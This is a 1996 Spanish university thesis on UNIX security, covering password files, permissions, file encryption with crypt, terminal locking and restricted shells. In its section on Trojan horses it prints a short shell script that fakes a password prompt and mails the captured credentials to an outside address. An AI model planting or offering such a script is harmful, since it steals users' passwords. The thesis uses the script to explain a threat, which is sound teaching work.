UNIVERSIDAD AUTONOMA DE QUERETARO

FACULTAD DE INFORMATICA

UNIX I
SEGURIDAD EN UNIX

T E S I N A

QUE PARA OBTENER EL TITULO DE
LICENCIADO EN INFORMATICA

IMELDA OLVERA MEDINA

QUERÉTARO, QRO. DICIEMBRE DE 1996.

Universidad Autónoma de Querétaro
Facultad de Informática

CARTA DE ACEPTACIÓN DE TESINA

Por este medio, se otorga constancia de aceptación de la tesina que para obtener el título de Licenciado en Informática, presenta la pasante **IMELDA OLVERA MEDINA**, con el tema denominado **"SEGURIDAD UNIX".**

Este trabajo fue desarrollado como una investigación derivada del curso de titulación **"SISTEMA OPERATIVO UNIX-NIVEL INTRODUCTORIO",** dando cumplimiento a uno de los requisitos contemplados en el artículo 34 del reglamento de titulación vigente, en lo referente a la opción de titulación por realización y aprobación de cursos de actualización.

Se extiende la presente para los fines legales a que haya lugar y para su inclusión en todos los ejemplares impresos de la tesina, a los siete días del mes de enero de mil novecientos noventa y siete.

A T E N T A M E N T E

ING. JUAN GABRIEL FRANCO DELGADO
RESPONSABLE DE LA REVISIÓN Y
COORDINACIÓN DEL CURSO DE TITULACIÓN IMPARTIDO

Centro Universitario Av. Universidad Esq. Gabino Barrera s/n Querétaro, Qro. A.P. 184
C.P. 76010 Tels. (91-42) 16 32 42 Ext. 163/16 84 30

AGRADECIMIENTOS

A Dios

Por darme la oportunidad de vivir para lograr esta meta en mi vida.

Especial dedicatoria a

Ma. Esther Olvera de Ramírez (✝)

A mis padres

Gracias por darme la vida y preocuparse siempre por mi bienestar, para que siempre salga adelante.

A la familia Moreno Olvera

Por el apoyo incondicional que me han brindado siempre.

A las familias

Olvera Reyes
Ramírez Olvera
Olvera Rodríguez
Arvizu Olvera
Hernández Olvera

Por el cariño que siempre me han brindado.

A mis amigas

Tere, Vero, Juanita, Lety y todas aquellas de las que he recibido cariño y apoyo cuando más lo he necesitado.

INDICE

1

INTRODUCCIÓN

1

INTRODUCCIÓN

Actualmente la ciencia de la computación se ha desarrollado muy rápido, por lo que la seguridad es un punto muy importante en el medio, es por esto que se han diseñado herramientas para la protección de datos.

UNIX esta diseñado para soportar múltiples usuarios, y ofrece muchos modos de acceder al sistema, además de muchas herramientas para la comunicación, entre usuarios y entre máquinas diferentes.

No obstante el sistema UNIX ha incluido características para preservarlo de usuarios no autorizados y para proteger los recursos de estos mismos, sin ningún problema para los usuarios autorizados.

El presente documento aporta características de seguridad de diferentes grados, como es el cifrado y descifrado de archivos, protección de datos frente a otros usuarios, virus y orugas en UNIX, seguridad física y algunos comandos para proteger la información.

2

SEGURIDAD EN UNIX

2

SEGURIDAD EN UNIX

El sistema operativo UNIX, aunque ahora esta en modo extendido usa ambientes concernientes a la seguridad, no estaba en mente diseñarlo para tener buena seguridad. Pero esto no significa que UNIX no proporciona mecanismos de seguridad, de hecho varios mecanismos muy buenos están disponibles, sin embargo, los procedimientos de instalación de compañías tales como SUN Microsystem todavía instalan el sistema operativo de la misma manera que cuando se instalo hace 15 años, con una pequeña garantía no autorizada.

Las razones de este asunto son históricamente largas. UNIX se diseño originalmente por programadores para ser usado por otros programadores. El ambiente en el cual fue diseñado era un ambiente abierto de cooperación, los programadores colaboraban unos con otros en cualquier proyecto, y compartían sus archivos sin tener obstáculos de seguridad.

Los primeros sitios donde se instalo UNIX eran laboratorios universitarios de investigación donde el ambiente era similar, y de está manera no se vio la necesidad real de la seguridad en UNIX sino hasta después.

A mediados de los 80's, muchas universidades empezaron a mover sus sistemas UNIX fuera de los laboratorios de investigación e instalarlas en los centros de computo y dejaron que la población trabajará con este sistema nuevo y maravilloso para ellos.

Muchos negocios y sitios gubernamentales empezaron a instalar el sistema UNIX como estación de trabajo y este se volvió más poderoso y económico. De está manera la meta del sistema operativo UNIX era un ambiento de trabajo abierto.

En las universidades se utilizó este sistema por asignaciones es decir por clases y de está manera no se requería la copia.

En los negocios se utiliza el sistema para tareas confidenciales tales como nómina y los libros de trabajo.

2.1.- Archivos de contraseña

Los sistemas que ejecutan la Versión 4 guardan información acerca de los usuarios de los archivos, */etc/passwd* y */etc/shadow*. Estos archivos se utilizan por el programa login para validar los usuarios y para preparar el entorno del trabajo inicial. Todos los usuarios de un sistema Versión 4 leen el archivo */etc/passwd*. Sin embargo, solamente el usuario raíz [root] lee el archivo */etc/shadow*; que contienen las contraseñas cifradas.

2.2.- El archivo */etc/passwd*

Existe una línea en */etc/passwd* por cada usuario y para ciertos nombres de presentación utilizados por el sistema. Cada una de estas líneas contiene una secuencia de campos, separados por dos puntos. El siguiente ejemplo muestra un archivo */etc/passwd* típico:

```
$ cat /etc/passwd
root:x:0:1:0000-Admin (000):/:
daemon:x:1:1:0000-Admin(000):/:
bin:x:2:2:0000-Admin(000):/usr/bin:
sys:x:3:3:0000-Admin(000):/:
adm:x:4:4:0000-Admin(000):/var/adm:
uucp:x:5:2:000-uucp(000):/usr/lib/uucp:
nuucp:x:6:1:000-Admin(000):/:/bin/sync
lp:x:71:2:0000-lp(0000):/usr/spool/lp:
listen:x:72:4:0000-NETWORK:/usr/net/nls:
install:x:101:1:Initial Login:/usr/install:
jim:x:103:100:jim:/usr/jim:
pat:x:104:100:Pat:/usr/pat:
steven:x:105:100:Steven:/usr/steven:/usr/steven:bin/ksh
$
```

- El primer campo de una línea en el archivo */etc/passwd* contiene el nombre de presentación, que tiene de uno a siete caracteres para los usuarios.

- El segundo campo contiene la letra x. Antes de la versión 3.2., este campo contenía una contraseña cifrada, de lo que se deriva una debilidad en la seguridad. El uso de una x siempre proporciona cierto grado de portación, pero sigue siendo una debilidad ya que un intruso puede identificarla. En la versión 3.2 y 4 la contraseña cifrada esta en /etc/shadow.

- El tercero campo es el *ID* de usuarios.

- El cuarto campo es el *ID* de grupo.

- El quinto campo se colocan comentarios.

- El sexto campo es el directorio propio, es decir, el valor inicial de la variable HOME.

- El campo final contiene el nombre del programa que el sistema ejecuta automáticamente cuando el usuario abre la sesión. Este se denomina shell de presentación del usuario.

Todos los ids de presentación en */etc/passwd* deben tener contraseñas excepto *nuucp*. Todas ellas son o bien una contraseña legitima en clave para los usuarios reales y *root*, o una contraseña en texto llano para todas las otras identificaciones.

Root en */etc/passwd* : La información referente al nombre de presentación root esta incluida en la primera línea del archivo */etc/passwd* .

2.3.- Nombre de presentación del sistema

El archivo */etc/passwd* contiene nombres de presentación utilizados por el sistema para su operación y para administración del sistema. Entre ellos se incluyen los siguientes ID´S de presentación: *daemon, bin, sys, adm, setup, powerdown, sysadm, checkfcys, makefsys, mountfsys* y *umountfsys*. También se incluyen nombres de presentación utilizados para la conexión en red, tales como *uucp, nuucp, listen* y *slan* utilizadas para la operación de la red de área local *StarLAN*. El programa de inicio para cada uno de estos nombres de presentación se encuentra en el último campo de la línea asociada en el archivo /etc/passwd.

2.4.- El archivo /etc/shadow

Hay una línea en */etc/shadow,* por cada línea del *archivo /etc/passwd.* El archivo /etc/shadow contiene información acerca de la contraseña del usuario y datos referentes al envejecimiento de la contraseña.

Por ejemplo, el archivo aparece como el siguiente:

```
# cat /etc/shadow
root:1544mU5CgDJds:7197::::::
daemon:NP:6445::::::
bin:NP:6545::::::
sys:NP:6445::::::
adm:NP:6545::::::
uucp:x:7151::::::
setup:NP:6445::::::
powerdown:NP:6445::::::
sysadm:NP:6445::::::
checkfsys:NP:6445::::::
makefsys:NP:6445::::::
mountfsys:NP:6445::::::
umountfsys:NP:6445::::::
nuucp:x:7151::::::
listen:*:7151::::::
slan:x:7151::::::
jmf:dcGGUNSGeux3k:6966:7:100:5:20:7400:
rrr:nHyy3vRgMppJl:7028:2:50:2:10:8000:
```

- El primer campo de la línea contiene el nombre de presentación. Para usuarios con contraseñas.

- El segundo campo contiene la contraseña cifrada para ese nombre de presentación. La contraseña cifrada consta de trece caracteres del alfabeto de 64 , que incluye los siguientes : .,/,0-9, A-Z y a-z. Este campo contiene NP (No Password) cuando no existe contraseña para ese nombre de presentación, en *x* están los nombres de presentación *uucp, nuucp* y *slan* para la presentación listen. Ninguna de estas cadenas (NP y x) son la versión cifrada de una contraseña valida, por lo que es imposible presentarse con uno de estos nombres al sistema, ya que cualquier respuesta dada al inductor "Contraseña" deja de producir una coincidencia con los contenidos de este campo. De este modo estos nombres de presentación están efectivamente bloqueados.

- El tercer campo indica el número de días entre el 1 de Enero de 1970 y el día en que la contraseña se modificó por última vez.

- El cuarto campo indica el número mínimo de días requeridos entre cambios de la contraseña.

- El quinto campo indica el número máximo de días en que una contraseña es válida.

- El sexto campo indica el número de días antes de la expiración de una contraseña.

- El séptimo campo indica el número de días de inactividad permitido a este usuario.

- El octavo campo indica la fecha absoluta (especificada mediante el número de días desde el 1 de Enero de 1970, por ejemplo, 7400 es el cinco de abril de 1990) a partir de la cual el nombre de presentación ya no se utiliza.

- El noveno campo es una opción que actualmente no se usa pero puede serlo en el futuro.

El archivo */etc/shadow* se crea por la orden *pwconv*, la cual lee */etc/passwd* para obtener la información. Cada vez que se cambia manualmente */etc/passwd*, se ejecuta inmediatamente *pwconv* para asegurar que los cambios se actualicen en el */etc/shadow*. Ya que los archivos *passwd* y *shadow* solo tiene permiso de lectura, solo el superusario tiene permiso para cambiarlos.

Por que se utiliza /etc/shadow

Antes de la Versión 3.2 de UNIX Sistema V, el archivo */etc/passwd* contenía las contraseñas cifradas para los usuarios en el segundo campo de cada línea. Puesto que los usuarios ordinarios leen este archivo, un usuario autorizado o un intruso que tenga acceso a un nombre de presentación, también gana acceso a otros nombres de presentación.

Para hacer esto el usuario o el intruso, ejecuta un programa para cifrar palabras desde un diccionario o cadenas comunes formadas por nombres, utilizando el algoritmo del Sistema UNIX para cifrar contraseñas, y comparar los resultados con las contraseñas cifradas en el sistema.

Si se encuentra una coincidencia, el intruso tiene acceso a los archivos de un usuario. Esta vulnerabilidad se ha reducido colocando una x en el segundo campo del archivo */etc/passwd* y utilizando el archivo */etc/shadow*.

2.5.- Ingreso y retirada de usuarios

Generalmente es fácil añadir un nuevo usuario, pero este procedimiento esta limitado al superusuario. Primero se necesita crear un directorio HOME para el usuario. Este se halla normalmente en el directorio */usr*, pero muchas instalaciones crean sistemas de archivos de usuarios tales como el directorio */u* .

No importa donde se encuentre el directorio HOME dentro del sistema de archivos. Sin embargo, si la máquina incluye una herramienta administrativa que crea ids de presentación, y se utiliza la misma ubicación del directorio que cuando se añade un usuario manualmente.

El directorio HOME es normalmente propiedad del usuario, del grupo que se esta creando. Los permisos del directorio suelen ser *-rwxr-xr-x*. Esto permite a otros usuarios el acceso al directorio. Dependiendo de la política de la empresa y confidencialidad de la información, los permisos se restringen.

Después de crear el directorio HOME, se añade una línea a */etc/passwd* en la cuenta del usuario. Cuando se ha terminado con */etc/passwd*, se ejecuta *pwconv* para actualizar el archivo */etc/shadow* si esta presente en la máquina. Con frecuencia el campo de contraseña se deja en blanco hasta que el usuario se presente la primera vez (en cuyo momento el usuario crea una contraseña individual).

Sin embargo, esto no es seguro, ya que frecuentemente el usuario no se presenta hasta después de cierto tiempo y por lo tanto deja un id de presentación desprotegido.

Un procedimiento más seguro es crear un id de presentación sin proteger, conectarse inmediatamente utilizando esa identificación y preparar una contraseña con la orden *passwd*. Posteriormente se le informa al usuario cual es su contraseña inicial.

Si el envejecimiento de la contraseña esta en uso, se establece la contraseña de modo que expire la primera vez en que los usuarios se presenten al sistema. Este procedimiento exige que el usuario modifique la contraseña inmediatamente.

Si la maquina tiene el archivo */etc/shadow*, entonces se utiliza la orden passwd con la opción -l (bloqueo) [lock]:

```
# passwd -l steve
#
```

Solo el superusuario utiliza esta opción de passwd. El único modo de desbloquear una contraseña es suprimirla con la opción -d (suprimir) [*delete*]

```
# passwd -d steve
#
```

Ahora la identificación esta completamente desprotegida, y se añade inmediatamente una nueva contraseña inicial.

Si la máquina no tiene el archivo */etc/shadow*, se edita el campo de contraseña en */etc/passwd* para insertar la cadena NONE (o en alguna otra cadena de texto llano) en lugar de la contraseña cifrada.

2.6.- Adición de grupos

Cuando se añade un nuevo usuario a un *id* de grupo existente, no se necesita hacer nada más, después de crear las entradas en */etc/passwd* y ejecutar *pwconv*. Sin embargo, si se desea crear un grupo para el usuario, se añade al archivo */etc/group*. El formato del archivo */etc/group* es:

```
# cat /etc/group
root:NONE:0:root
other:NONE:1
bin:NONE:2:root,bin,daemon
sys:NONE:3:root,bin,sys,adm
adm:NONE:4:root,adm,daemon
mail:NONE:6: root
rje:NONE:8:rje,shger
daemon:NONE:12:root; daemon
users:NONE:100:jim,pat,steve
#
```

Este archivo contiene una única línea de cada grupo definido en la máquina.

- El primer campo de la línea es el nombre de grupo que aparece en la salida de *ls -l*.
- El segundo campo es una contraseña que especifica si un usuario intenta cambiar de grupo con la orden *newgrp* (nuevo grupo) . Normalmente los usuarios tienen prohibido el cambio de grupo, por lo que este campo contiene la cadena de texto llano NONE para impedir este acceso.

- El tercer campo contiene el id de grupo numérico que aparece en *etc/passwd*. Generalmente el grupo de usuarios es 100 y se incrementa conforme se añaden nuevos grupos.

- El último campo (con entradas separadas por comas) contiene los ids de usuario miembros de ese grupo. Cuando ingresa un nuevo usuario al sistema, se verifica que el id de grupo sea correcto y se añade el id de usuario a */etc/group*.

2.7.- Caducidad de las contraseñas

El esquema de las contraseñas permite al administrador del sistema establecer un procedimiento de caducidad de contraseñas, en el que todos los usuarios las tienen que cambiar regularmente. Cuando se establece una contraseña, se inicia un reloj, el intervalo establecido comienza a transcurrir, la contraseña se descarta y los usuarios se obligan a utilizar contraseñas diferentes.

3

PROTECCIÓN DE DATOS FRENTE A OTROS USUARIOS

3

PROTECCIÓN DE DATOS FRENTE A OTROS USUARIOS

Cuando se comparte una máquina con otros usuarios, se determina que información se desea que los usuarios compartan. Los archivos del sistema tienen tres niveles de permisos:

- El que se refiere al usuario individual,
- El del grupo al que pertenece el usuario,
- El de los demás usuarios de la máquina.

Normalmente, en una máquina pequeña donde los usuarios comparten ciertos intereses, el administrador del sistema establece un único grupo para todos los usuarios. En este entorno, los usuarios comparten archivos a nivel del grupo, mientras que los usuarios individuales protegen sus propios archivos .

La orden *ls -l* muestra los permisos de archivo o de un directorio:

```
$ ls -l  /etc/inittab
-r--r--r-- l root sys     526 Apr  10   19:49  /etc/inittab
```

El archivo tiene tres grupos de permisos para cada uno de los tres niveles de seguridad diferentes: lectura, escritura y ejecución para el propietario, el grupo y otros usuarios. Cada archivo es propiedad de un id de presentación y pertenece a un grupo.

Cuando se crea un nuevo archivo, el usuario se convierte en propietario del mismo, y se asigna al id de grupo. Se transfiere la propiedad del archivo con la orden *chown*, y también el grupo del archivo con *chgrp*, pero solo si el archivo es propiedad del usuario.

3.1.- Cifrado de archivos

Cuando se cifra el contenido de un archivo, se utiliza un procedimiento que cambia su contenido por datos aparentemente sin significado, conocido como *texto cifrado.* Descifrando el archivo, se recuperan los contenidos originales. Al contenido original del archivo se le conoce como *texto llano.*

Al utilizar *crypt* para cifrar un archivo se necesita suministrar una clave descifrada. No olvidando la clave que se utilice para cifrar un archivo, de lo contrario, no se recupera ni por el administrador del sistema.

El siguiente ejemplo muestra el uso de *crypt.* La línea de orden :

```
$ crypt buu2 < letter > letter.enc
```

cifra el archivo *letter* utilizando la clave de cifrado "buu2" y coloca los contenidos cifrados del archivo *letter* en el archivo *letter.enc* .

Por ejemplo, si el archivo *letter* contiene el texto siguiente.

```
$ cat letter
Hello
This is a sample letter.
```

Utilizando *crypt* con la clave "buu2" se obtiene

```
$ crypt buu2 < letter
R<Sw1;M>6X_4#=R ;w0M4K\$
```

Donde el último carácter, el signo dollar, es la petición para la orden siguiente.

3.2.- Ocultamiento de la clave de cifrado

Cuando se utiliza *crypt* con la clave de cifrado como argumento, se convierte temporalmente en vulnerable. Esto se debe a que alguien que ejecuta la orden *ps* con la opción *-a* ve la línea de orden que ha emitido la cual contiene la clave de cifrado.

Para evitar esta vulnerabilidad, se ejecuta *crypt* sin dar la clave de cifrado. La cadena que teclee como clave no produce eco en la pantalla, he aquí un ejemplo que muestra como se ejecuta *crypt* de esta manera:

```
$ crypt < letter > letter.enc
Enter Key: buu2
```

3.3.- Descifrado de archivos

Para descifrar un archivo se ejecuta *crypt* sobre el archivo cifrado ejecutando la misma clave. Esto produce el archivo original ya que el proceso de *descifrado* es idéntico al cifrado. Asegurándose de recordar la clave que se utilizó para cifrar un archivo. No es posible recuperar el archivo original si la clave se olvida, ni aun por el administrador del sistema.

3.4.- Usando la opción de Editor -x

Otra forma de cifrar los archivos es mediante los editores *ed* y *vi* que proporcionan la capacidad de crear y editar archivos cifrados. El editor descifra un archivo cuando lo carga, y lo cifra de nuevo cuando se escribe el archivo en el disco. La opción **-x** especifica cifrado.

```
$ vi -x fich.cifrado
Key:
```

El editor solicita la contraseña de cifrado o clave. Si se introduce la clave correctamente, el archivo se descifra y llega al editor. Cuando se escribe el archivo nuevamente durante o después de la sesión de edición, el archivo se cifra. Se utiliza este procedimiento para crear un nuevo archivo o editar un archivo existente.

Otra forma de proteger un archivo es crearlo, utilizando cualquier editor y luego cifrarlo utilizando *crypt*. Para modificar el archivo se necesita descifrarlo primero utilizando *crypt*, ejecutar el editor y cifrar luego los resultados con *crypt*. Cuando se utiliza este procedimiento, el archivo esta desprotegido mientras se esta editado, ya que durante ese tiempo ésta en forma descifrada. Para evitar dicha vulnerabilidad se cifran los archivos invocando al editor (*ed* o *vi*) con la opción *-x* .

Por ejemplo, crear un archivo con el editor vi de nombre *proyectos* utilizando "ag20vnnn" como clave de cifrado, de la manera siguiente:

```
$ vi -x proyectos
Key: ag20vnnn
```

3.5.- Compresión y posterior cifrado de archivos

Un archivo se protege frente al análisis de claves comprimiendo primero y cifrándolo después. La compresión hace los archivos más seguros.

Compresión de archivos

La compresión reemplaza un archivo por una versión codificada que contiene menos números de bytes. La versión comprimida del archivo contiene la misma información que el archivo original. El archivo original se recupera a partir de la versión comprimida deshaciendo el procedimiento de compresión. Una versión

comprimida del archivo requiere menos espacio de memoria y se envía por una línea de comunicación más rápida que el archivo original.

UNIX Sistema V proporciona dos ordenes para comprimir archivos. La primera de ellas es la orden *pack*.

Cuando se utiliza la orden *pack* sobre un archivo, se reemplaza el archivo original por un archivo comprimido. El archivo comprimido tiene el mismo nombre que el original excepto que al final del nombre del archivo lleva .z.. Además, la orden *pack* utiliza el error estándar para informar del porcentaje de compresión (en que porcentaje es más pequeño el archivo comprimido que el original). Por ejemplo para comprimir el archivo *informe* utilizando *pack*

```
$ pack informe
pack: informe: 41.3% compresión
```

El listado de todos los archivos que comienzan con la cadena informe lo proporciona :

```
$ ls informe*
informe.z
```

Se recupera el archivo original a partir de la versión empaquetada ejecutando la orden *unpack* con el nombre del archivo original como argumento, como en:

```
$ unpack informe
unpack: informe: unpacked
```

La orden *pack* utiliza una técnica conocida como codificación Huffman para comprimir archivos. Típicamente esta técnica logra una compresión entre 30% y 40% de un archivo de texto. Sin embargo, otros métodos comprimen archivos en un menor número de bytes.

Una técnica de compresión es el método Lempel-Ziv utilizado por la orden *compress*, que viene en la versión 4 a través del Sistema BSD. El cual reduce el número de bytes en más del 50% de un archivo texto.

Utilización de compresión y cifrado

Para hacer más difícil a un intruso recuperar la versión de texto llano de un archivo a partir del cifrado, se comprime y se cifra después.

Para recuperar el archivo, se utiliza la orden *crypt* seguida de *unpack*, o bien se combina *compress* y *crypt*, según se requiera.

4

ID´S DE USURIOS
Y
GRUPO

4

IDS DE USUARIO Y GRUPO

Al ejecutar un programa se activa un proceso. Cuatro identificadores se asignan a este proceso durante su creación. Son el *uid, real gid, real uid* y *gid efectivo.*

4.1.- Ids de presentación y contraseñas

El corazón del esquema de seguridad del sistema UNIX es el id de presentación y la contraseña de cada usuario. Si los intrusos potenciales se mantienen completamente fuera del sistema, no causan ningún daño. Desgraciadamente, la seguridad de la contraseña es tan pobre en muchas máquinas que incluso un infractor sin experiencia obtiene un shell.

Cada usuario tiene la responsabilidad de defender sus contraseñas y cambiarlas regularmente.

Muchos ids de usuarios en un sistema pequeño típico no tienen contraseña en absoluto, ya que ésta es tan similar al *id* de presentación como para ser ineficaz en cuanto a seguridad. Desafortunadamente, la mayoría de los usuarios no desean recordar el tipo de contraseña difícil de imaginar que en realidad hace falta. Por lo tanto a lo largo de un periodo de tiempo pasan a ser detectables, ya que la contraseña esta almacenada en forma cifrada, el administrador del sistema no determina cuál es.

Una herramienta que permite modificar la contraseña es la de la orden *passwd*. Una buena contraseña debe tener seis caracteres de los cuales al menos uno debe ser carácter numérico o no alfabético. La mezcla de caracteres mayúsculas y minúsculas es buena en cualquier secuencia inusual o no intuitiva.

4.2.- Historial de presentaciones

Algunas versiones SVR3 proporcionan una visualización de la última vez que el id de presentación se utilizó. Esta característica no se soporta en todos los sistemas SVR3. La visualización aparece cuando se conecta en la máquina:

login: imelda
Password:
Login last used: Wed Jun 28 15:11:02 1996

Esta visualización pretende hacer notar si alguien más esta utilizando el *id* de presentación del usuario. Si la fecha difiere de la ultima conexión que tuvo el usuario, entonces su *id* esta siendo utilizado. Y por lo tanto se toman medidas inmediatamente para modificar su contraseña.

El programa login verifica la contraseña *.login* manteniendo un archivo de longitud cero que se denomina *.lastlogin* en el directorio HOME. La última fecha *.lastlogin* es propiedad del sistema, no del usuario individual, y sus permisos hacen que sea difícil de modificar:

```
$ ls -l $ HOME/.lastlogin
-r--------   1   root   sys   0  Oct  28 15:11   .lastlogin
```

4.3.- El superusuario

Los usuarios normales están restringidos a sus propios archivos, datos y a los de grupo. Sin embargo, el *id* de presentación root esta disponible en todas las máquinas UNIX para permitir acceso de lectura, escritura y ejecución total de todos los archivos y directorios. Este usuario se conoce como *superusuario*. Además, utiliza la orden *su* (por superusuario) para conmutar al estado de superusuario sin necesidad de despedirse y presentarse de nuevo como *root*:

```
$ /bin/su
Password:
```

5

BLOQUEO DE TERMINAL

5

BLOQUEO DE TERMINAL

El error más común de la mayoría de los usuarios de computadoras es dejar sus terminales sin atender mientras están dentro de una sesión. Cuando los usuarios están lejos de su terminal, cualquiera puede continuar su sesión.

Un modo de evitar este problema es despedirse con [logout] cada vez que abandone la terminal. Sin embargo, esto es inconveniente, ya que tiene que presentarse cada vez que regrese a la terminal. En vez de esto se utiliza un programa de bloqueo [locking] de terminal que la desactive temporalmente.

El programa *tlock* es un guión shell que bloquea la terminal. Cuando se ejecuta *tlock* se solicita una contraseña, una vez que se introduce y la valide nuevamente ante una segunda petición, se bloquea la terminal. Para desbloquearla , se introduce la contraseña de nuevo. El programa *tlock* no atiende a las teclas, BREAK, DELETE, CTR-D, u otras interrupciones.

6

DESPEDIDA CON SEGURIDAD

6

DESPEDIDA CON SEGURIDAD

La despedida es correcta cuando ningún otro usuario continua la sesión que ha iniciado.

Si se apaga la terminal, el sistema no es capaz de desconectarse y eliminar su shell, antes que otro usuario se conecte al mismo puerto.

Para despedirse adecuadamente se utiliza *exit* o CTR-D. Cuando el sistema responde con

login:

la sesión se ha terminado.

7

TOPICOS DE SEGURIDAD

7

TOPICOS DE SEGURIDAD

7.1. Caballos de Troya

Un *caballo de Troya* es un programa que se enmascara con otro programa, además de hacer lo que el programa genuino hace, y realizar alguna otra acción no pretendida. Con frecuencia un caballo de Troya se enmascara como un programa de uso común, tal como *ls*. Cuando un caballo de Troya se ejecuta, envía archivos al intruso o simplemente cambia o borra archivos.

El guión shell para el caballo de Troya se coloca en el *.profile* de algún directorio que pertenezca a cualquier usuario. El guión shell para este caballo de Troya es :

```
stty -echo                          #desactiva el eco de caracteres
echo "Password: \ c"                #escribe "Password:"
read x                              #asigna la cadena de entrada a la
                                    #variable X
echo " "                            #comienza nueva línea
stty echo                           #activa el eco de nuevo
echo $1 $x | mail exterior !fisgón & #envía el nombre de presentación
                                    #y el valor de X a exterior !fisgón
sleep 1                             #espera un segundo
echo Sorry.                         #escribe "Sorry."
rm su                               #suprime el guión shell de este programa
```

7.2.- Virus y orugas

Los virus y orugas informáticos son tipos relativamente nuevos de ataques sobre los sistemas. Existe una estrecha analogía entre un virus biológico y un virus informático.

Virus Informático

Un virus informático es un código que se inserta a sí mismo en otros programas.

Los virus informáticos no se ejecutan a sí mismos. Un virus hace que un programa infectado lleve a cabo algunas acciones no pretendidas que resultan dañinas. Por ejemplo, un virus hace que aparezca un mensaje en la pantalla, o suprime archivos.

La acción de un virus informático es lograr que el programa infectado efectúe copias del virus e infecte a otros programas y máquinas.

Orugas

Una oruga es un programa de computadora que se extiende en las sesiones de trabajo o a otras máquinas. Una oruga es capaz de ejecutarse independientemente, o correr bajo control de un programa maestro en una máquina remota.

Las orugas se dispersan de máquina a máquina utilizando un correo electrónico u otros programas de red. Algunas orugas se utilizan con fines constructivos, tales como efectuar la misma tarea en máquinas diferentes de una red.

8

CONSEJOS DE SEGURIDAD PARA USUARIOS

8

CONSEJOS DE SEGURIDAD PARA USUARIOS

- *Elegir una buena contraseña y protegerla de otros usuarios.*

  No utilizar cadenas formadas a partir de nombres o palabras que otras personas adivinen fácilmente, tales como su primer nombre seguido de un dígito, o cualquier palabra del diccionario castellano. No dejar la contraseña escrita en un trozo de papel cerca de la terminal. Modificar la contraseña regularmente.

- *Cifrar los archivos más sensibles con un algoritmo de cifrado que proporcione el nivel de seguridad adecuado.*

  Cifrar todos los archivos que contengan información que no sea leída ni aun por el administrador del sistema.

  Si los archivos no son extremadamente sensibles, pero se desea dotarles de un grado moderado de protección, se cifran utilizando la orden *crypt*, permitiendo que *crypt* le solicite la clave, o utilizando el editor con la opción *-x*.

  Hay que asegurarse de recordar la clave que se utiliza para cifrar un archivo, ya que no es posible recuperarlo en caso contrario. Esto hace que los archivos sean *difíciles* de leer, pero no totalmente invulnerables, ya que un intruso persistente utiliza un programa que analiza las claves para recuperar los archivos originales.

- *Proteger los archivos definiendo cuidadosamente los permisos.*
  Especificar umask tan frecuente como sea posible. Redefinir los permisos de los archivos que se copien o trasladen con *cp* y *mv*.

- *Proteger el . profile.*

  Especificar los permisos en el *.profile* de modo que el usuario sea el único con permiso de escritura.

- *Ser extremadamente cuidadoso con cualquier programa suid o sgig que se tenga.*

  Teniendo cualquier programa *suid* o *sgid*, hay que asegurarse de que no incluya ninguna orden que permita escapes al shell.

- *Nunca dejar la terminal desatendida cuando esté una sesión abierta.*

  Despedirse cada vez que se deje la terminal, o utilizar un programa de bloqueo.

- *Cuidarse de los caballos de Troya.*

  Asegurar que la variable PATH esté definida de modo que los directorios del sistema se busquen antes que el directorio actual.

- *Cuidarse de virus y orugas.*

  Se evitan virus y orugas no ejecutando programas de usuarios no confiables. Si se ejecutan programas de otros usuarios en los que se tenga confianza, hay que asegurarse que ellos no obtengan esos programas de fuentes cuestionables.

- *Vigilar el tiempo de la última presentación.*

  Comprobar el tiempo de la última presentación que el sistema muestra, para asegurar que nadie utilice la cuenta sin que lo sepa el usuario.

- *Despedirse adecuadamente.*

Utilizar *exit* o CRTL-D para despedirse. Esto previene que otro usuario continúe la sesión.

8.1.- Una política de seguridad

Dentro de una máquina (o una red de máquinas), el administrador (o el grupo de usuarios en conjunto) establece una política de seguridad para regular la asignación de nuevos ids de usuarios.

La política se divulga a los nuevos usuarios, y se hacen barridas regulares del sistema de archivos para asegurar la conformidad con esa política.

Si el sistema esta relativamente aislado del mundo exterior y se tiene un pequeño grupo de usuarios con los mismos intereses, la política de seguridad es relativamente de poco interés.

9

EL SHELL RESTRINGIDO (rsh)

9

EL SHELL RESTRINGIDO (RSH)

La Versión 4 incluye un shell especial, que proporciona capacidades restringidas. Aunque este shell solamente proporciona un grado limitado de seguridad, se utiliza para prevenirse de los usuarios que tienen acceso a programas específicos que dañan el sistema.

Restricciones rsh.

Las siguientes restricciones se aplican a los usuarios que ejecutan el shell restringido rsh:

- No trasladarse de su directorio propio, ya que la orden *cd* esta desactivada.
- No cambiar el valor de la variable PATH, sólo las órdenes que le proporciona el administrador del sistema.
- No cambiar el valor de la variable SHELL.
- No ejecutar órdenes que afecten directorios diferentes del propio, ya que no se permite el uso de la diagonal (/).
- No redireccionar la salida utilizando > o >>.
- No utilizar órdenes *exec*.

La afectividad de este shell solo es valida si se ejecuta como orden inicial, es decir se ejecuta desde la línea del archivo /etc/passwd.

10

PROTECCIÓN DEL SISTEMA UNIX Y DE LOS ARCHIVOS

10

PROTECCIÓN DEL SISTEMA UNIX

Los usuarios experimentados dañan el sistema UNIX si tienen acceso a los archivos claves (tales como etc/passwd), la solución es mantener todos los permisos y propiedades de los archivos iguales que cuando se instaló el sistema. Normalmente la carga inicial de un sistema UNIX dispone todos los archivos y directorios con permisos seguros y correctos.

Cuando se sospechan violaciones de seguridad, lo más correcto es cargar nuevamente la máquina a partir del software original del sistema. Está es la única manera de garantizar un sistema seguro.

10.1.- Seguridad física

La principal norma de seguridad para un sistema UNIX es la seguridad física, ya que si se impide el acceso a la máquina cerrando la habitación o no dejando conexiones externas, se garantiza que la seguridad no se asalte.

Todos los sistemas UNIX son accesibles mediante el arranque a partir de un disco flexible o una cinta maestra, por lo que también se debe tener cuidado de que la propia máquina no sea accesible.

Otra forma de seguridad física se refiere a la protección del software y las aplicaciones que se cargan. Cualquier disco o paquete de aplicación tiene trampas realizadas por su creador.

La seguridad física es una importante consideración para sistemas pequeños y grandes. Para ello se necesita una área restringida, la cerradura de una puerta en la habitación en donde esta la computadora, tener sistemas de alarma, que todas las facilidades en la comunicación queden fuera del lugar , líneas de teléfonos, redes de área local, llamadas de respaldo, llaves o tarjetas de identificación y distribución de *password*, llaves para los usuarios ; mecanismos para encriptar algunos de los procedimientos que faciliten la comunicación, prevención de incendios , planes de contingencia (se necesita dar a conocer estos planes al personal).

10.2.- Software para mejorar la seguridad

Debido a que la seguridad es la mayor preocupación de muchos usuarios, existe una gran cantidad de software que se ha desarrollado para mejorar la seguridad en Unix.

